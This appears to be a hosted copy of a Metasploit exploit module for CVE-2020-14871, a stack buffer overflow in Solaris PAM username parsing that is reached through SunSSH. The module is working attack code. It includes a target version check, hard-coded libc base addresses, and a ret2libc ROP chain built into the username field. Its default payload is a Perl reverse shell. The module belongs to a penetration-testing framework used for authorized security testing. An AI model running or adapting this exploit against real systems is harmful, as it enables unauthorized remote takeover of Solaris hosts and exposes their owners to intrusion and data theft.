Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/ssh/pam_username_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = NormalRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::CheckModule11include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',18'Description' => %q{19This module exploits a stack-based buffer overflow in the Solaris PAM20library's username parsing code, as used by the SunSSH daemon when the21keyboard-interactive authentication method is specified.2223Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,24VMware Fusion, and VMware Player. Bare metal untested. Your addresses25may vary.26},27'Author' => [28'Jacob Thompson', # Analysis29'Aaron Carreras', # Analysis30'Jeffrey Martin', # Testing31'Hacker Fantastic', # PoC32'wvu' # Exploit33],34'References' => [35['CVE', '2020-14871'],36['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],37['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'],38['URL', 'https://hacker.house/lab/cve-2020-18471/'],39['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841']40],41'DisclosureDate' => '2020-10-20', # Vendor advisory42'License' => MSF_LICENSE,43'Platform' => 'unix',44'Arch' => ARCH_CMD,45'Privileged' => true,46'Payload' => {47# https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L61748'BadChars' => "\x00\x09\x20",49'Encoder' => 'cmd/perl'50},51'Targets' => [52[53'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware',54{55'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',56'LibcBase' => 0xfeb9000057}58],59[60'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox',61{62'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',63'LibcBase' => 0xfeb8000064}65]66],67'DefaultTarget' => 0,68'DefaultOptions' => {69'PAYLOAD' => 'cmd/unix/reverse_perl',70'SSH_TIMEOUT' => 2,71'CheckModule' => 'auxiliary/scanner/ssh/ssh_version'72},73'Notes' => {74'Stability' => [CRASH_SERVICE_RESTARTS],75'Reliability' => [REPEATABLE_SESSION],76'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS]77}78)79)80end8182def check83# Run auxiliary/scanner/ssh/ssh_version84checkcode = super8586return checkcode unless checkcode == CheckCode::Detected8788unless target['Ident'] == checkcode.details[:ident]89return CheckCode::Safe("#{target.name} is an incompatible target.")90end9192CheckCode::Appears("#{target.name} is a compatible target.")93end9495def exploit96print_status("Exploiting #{target.name}")9798ssh_client_opts = ssh_client_defaults.merge(99port: rport,100auth_methods: ['keyboard-interactive'],101password: ret2libc, # HACK: This is really the username prompt on Solaris102timeout: datastore['SSH_TIMEOUT']103)104105ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']106107print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}")108109# Empty initial username110Net::SSH.start(rhost, '', ssh_client_opts)111rescue Net::SSH::AuthenticationFailed112print_error(CheckCode::Safe.message)113rescue Net::SSH::Disconnect114print_warning('Disconnected, target selection may be incorrect!')115rescue Net::SSH::ConnectionTimeout116# Do nothing on success117end118119# XXX: No ASLR, but NX stack and libc base changes...120def ret2libc121buf = rand_text(516) # Offset to saved EIP122buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret123buf << rand_text(4) # Padding124buf << p32(0x08040101) # ecx125buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret126buf << p32(target['LibcBase'] + 0x256d0) # exit(3)127buf << p32(target['LibcBase'] + 0x91edf) # system(3)128buf << rand_text(4) # Padding129buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret130buf << payload.encoded131end132133def p32(addr)134[addr].pack('V')135end136137end138139140